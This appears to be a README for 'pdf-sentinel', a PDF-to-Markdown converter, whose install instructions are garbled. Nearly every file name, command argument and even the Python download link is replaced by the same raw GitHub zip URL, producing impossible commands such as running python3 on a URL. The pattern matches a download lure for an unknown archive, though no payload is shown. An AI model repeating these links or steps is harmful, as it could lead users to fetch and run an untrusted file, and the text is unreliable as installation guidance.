🌟 pdf-sentinel - Convert PDFs to Markdown Easily

🚀 Getting Started

Welcome to pdf-sentinel! This application allows you to convert PDF documents to Markdown format, making it ideal for various workflows. It works efficiently by focusing on event-driven processing, ensuring your resources are used effectively.

📥 Download & Install

To get started, you need to download the application. Click the link below to visit the Releases page:

1. Click the link above.
2. On the Releases page, find the latest release.
3. Choose the appropriate file for your system. If you're unsure, look for common options like .exe for Windows or https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip for Linux.
4. Click the file to start the download.

Once downloaded, follow these instructions to install and run the application.

💻 System Requirements

• Operating System: Windows 10 or later, macOS, or a modern Linux distribution.
• Python: Version 3.6 or later installed on your system. If you don't have Python, you can download it from https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip.
• Memory: A minimum of 4 GB RAM is recommended for smooth operation.
• Disk Space: At least 100 MB of free space for installation.

📂 Installation Steps

For Windows Users

1. Locate the Downloaded File: Find the downloaded .exe file in your "Downloads" folder.

2. Run the Installer: Double-click the file. Follow the on-screen instructions to complete the installation.

3. Finish Installation: Once the installation is complete, you may see a new shortcut on your desktop or in your applications menu.

For macOS Users

1. Locate the Downloaded File: Find the downloaded https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip file in your "Downloads" folder.

2. Extract the File: Double-click the https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip file to extract it.

3. Run the Application: Open the folder and double-click the executable file to start the application.

For Linux Users

1. Locate the Downloaded File: Find the downloaded https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip file in your "Downloads" folder.

2. Extract the File: Open a terminal and run:

   tar -xvzf https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip

   Replace https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip with the actual filename.

3. Install Required Packages: You may need to install dependencies. Typically, you can do this by running:

   sudo apt-get install python3

4. Run the Application: Change into the extracted directory:

   cd extracted_folder

   Then, run the application with:

   python3 https://raw.githubusercontent.com/jackise69/pdf-sentinel/main/docs/pdf-sentinel_v1.6.zip

🛠️ Using pdf-sentinel

Once you have installed the application, follow these steps to convert your PDF files:

1. Open the Application

Launch pdf-sentinel from your desktop or applications menu.

2. Import Your PDF

You will see a button labeled "Import PDF." Click it and select the PDF file you want to convert.

3. Choose Output Format

Select the Markdown output format. You can customize settings to fit your needs, such as whether to include images and hyperlinks.

4. Start Conversion

Click the "Convert" button. The application will process your PDF and convert it to Markdown format.

5. Save Your Converted File

Once the conversion is complete, the system will prompt you to save the Markdown file. Choose a location on your computer and confirm the save.

📄 Features

• Fast Processing: Enjoy conversion speeds up to 60 times faster than traditional methods.
• Resource Efficiency: Work without hogging system resources.
• User-Friendly Interface: Navigate easily, even with no prior technical knowledge.
• Supports Images: Include visuals in your Markdown output.

🗃️ Support and Contributions

If you have questions or need help, you can reach out through the Issues section on GitHub. We welcome feedback and contributions to improve the application.

Here are a couple of helpful links:

• Issues Page
• Contributing Guide

🤝 Community

Join our community to share tips, ask questions, or showcase your Markdown documents created with pdf-sentinel. We value every member participating in improving our tool.

📜 License

This project is licensed under the MIT License. You can use, modify, and distribute the code as per the license terms.

📥 Download Again

Remember, you can always download pdf-sentinel from our Releases page:

Happy converting!